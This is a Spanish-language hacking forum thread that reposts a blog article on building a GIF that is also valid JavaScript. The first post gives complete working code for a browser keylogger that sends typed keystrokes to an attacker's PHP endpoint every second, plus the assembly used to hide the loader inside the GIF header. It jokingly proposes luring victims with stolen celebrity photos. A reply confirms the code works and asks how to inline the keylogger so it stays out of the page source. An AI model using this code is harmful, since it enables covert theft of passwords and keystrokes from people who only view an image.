Resultados 1 al 2 de 2

Tú mira este GIF tan gracioso... y yo mientras te robo tus contraseñas

  1. #1 Tú mira este GIF tan gracioso... y yo mientras te robo tus contraseñas 
    HH Administrator Avatar de LUK
    Fecha de ingreso
    Oct 2001
    Ubicación
    SpaÑa
    Mensajes
    5.284
    Descargas
    223
    Uploads
    250
    Ange Albertini es sin duda un auténtico mago a la hora de crear binarios "políglotas", que son ficheros que tienen simultáneamente varios formatos. Por ejemplo PDF/ZIP/JPG/Audio, PE/PDF/HTML/ZIP, TrueCrypt/PDF/ZIP, etc. Es decir, cada uno de estos ficheros pueden ser abiertos por varias aplicaciones sin error.

    Una de las cosas que más nos interesan, dado el mundo de maldad y desenfreno en el que vivimos los hackers"piratas informáticos", es la técnica para abusar de la cabecera de los ficheros GIFs y añadir código Javascript. El resultado un fichero GIF que sea un fichero GIF y JS al mismo tiempo.

    Imaginad... basta con publicar anónimamente una copia de una de las últimas imágenes robadas de alguna famosa y recibiremos miles y miles de visitas de incautas (pero satisfechas) víctimas, cuyos navegadores ejecutan de forma silenciosa código javascript...

    Ajin Abraham planteaba un escenario similar y muy interesante con Xenotic. Nosotros haremos también una simple PoC cargando un sencillo keylogger con php. Ni que decir tiene que la demo es básica y no incluye cifrado, técnicas de evasión, ni filtros JS... eso y las fotos guarras las pone cada uno... XD

    Primero vamos a apañar nuestro keylogger que publicaremos con cualquier servidor web con soporte php (en nuestro caso XAMPP). Para ello añadiremos al DocumentRoot estos tres archivos y echaremos a correr:

    keylogger.php

    Código:
    <?php
    if(!empty($_GET['c'])) {
        $logfile = fopen('data.txt', 'a+');
        fwrite($logfile, $_GET['c']);
        fclose($logfile);
    }
    ?>
    
    keylogger.js
    Código:
    var keys = '';
    document.onkeypress = function(e) {
        var get = window.event ? event : e;
        var key = get.keyCode ? get.keyCode : get.charCode;
        key = String.fromCharCode(key);
        keys += key;
    }
    window.setInterval(function(){
        new Image().src = 'http://localhost/keylogger.php?c=' + keys;
        keys = '';
    }, 1000);

    index.html

    Código:
    <img src="img.gif" />
    <script src="img.gif"></script>

    Como podéis comprobar en el index.html se llama al mismo fichero gif como si fuera un script JS. ¿Cómo conseguimos que esto luego funcione? Pues el "truco" está en añadir “=1″ para que el motor JS no considere los caracteres de la cabecera como una variable no definida. Y luego, para escapar caracteres especiales, usamos las marcas de comentario “/*” y “*/”. De esta manera podremos llamar al javascript keylogger.js. Veamos el ejemplo construyendo nuestro gif malicioso desde ensamblador:


    Código:
    WIDTH equ 10799 ;  equivalente a 2f2a, que es '/*' en ASCII, para empezar a abrir un comentario
    HEIGTH equ 100 ; sólo para que sea más fácil de detectar
    db 'GIF89a'
        dw WIDTH, HEIGTH
    db 0 ; GCT
        db -1 ; color de fondo
        db 0 ; relación de aspecto por defecto
    db 02ch  ; descriptor de imagen
        dw 0, 0 ; NW corner
        dw WIDTH, HEIGTH ; ancho y alto de la imagen
        db 0 ; color de la tabla
    db 2 ; tamaño lzw
    db 0
    db 3bh ; terminador del gif
    db '*/' ; cierre del comentario
    db '=1;' ; para falso uso de esa cadena GIF89a
    ;db ' alert(1) '
    db 's = document.createElement("script");' 
    db 's.src = "http://localhost/keylogger.js";'
    db 'document.body.appendChild(s);'
    


    El resultado al compilarlo con YASM y visto en hexadecimal será el siguiente:

    yasm gifjs.asm -o img.gif



    Para comprobar que funciona abrimos la URL local con Chrome, vemos la imagen, pulsamos F12 y comprobamos que nuestro keylogger está en funcionamiento:








    Ahora mira la siguiente imagen y... mientras la miras... piensa... y analiza si tú también has podido ser jodido comprometido...




    Fuente:
    http://www.hackplayers.com/2014/11/el-GIF-que-tambien-queria-ser-JS.html
    [][][] LUK [][][]
    hackhispano.com
    Citar  
     

  2. #2  
    Iniciado
    Fecha de ingreso
    Mar 2015
    Mensajes
    1
    Descargas
    0
    Uploads
    0
    Funciona a la perfeccion!

    pero tengo un problemilla.. al intentar añadir el js del keylogger directamente en 1 linea en el gif, para que no se vea en el codigo fuente de la web, me devuelve Uncaught SyntaxError: Unexpected identifier

    tambien he intentado añadirlo en 3 lineas, asi

    db 'var keys = "";'
    db 'document.onkeypress = function(e) { var get = window.event ? event : e; var key = get.keyCode ? get.keyCode : get.charCode; key = String.fromCharCode(key); keys += key; }'
    db 'window.setInterval(function(){ new Image().src = "xxxxxxxxxx/keylogger.php?c=" + keys; keys = ""; }, 1000);'

    pero el resultado ha sido el mismo..

    tambien he kitado los 'var' pero igual

    tienes idea de porque puede pasar? ya me habia pasado alguna vez que al intentar ejecutar un js de varias ordenes en una sola linea me petava y si lo escribia en varias lineas funcionava bien :S :S :S


    Saludos!
    Citar  
     

Temas similares

  1. Respuestas: 0
    Último mensaje: 07-06-2012, 00:01
  2. El gracioso del vecino me roba conexion!URGENTE!!
    Por Aina_ en el foro INTRUSION
    Respuestas: 7
    Último mensaje: 24-11-2009, 17:56
  3. Comparte en la red, mientras puedas
    Por el fandy en el foro OFF-TOPIC
    Respuestas: 0
    Último mensaje: 28-07-2008, 02:55
  4. Navegar mientras se surfea
    Por LUK en el foro OFF-TOPIC
    Respuestas: 5
    Último mensaje: 25-06-2004, 20:30
  5. llamadas mientras navego
    Por jara_mislata en el foro GENERAL
    Respuestas: 4
    Último mensaje: 07-04-2002, 16:08

Marcadores

Marcadores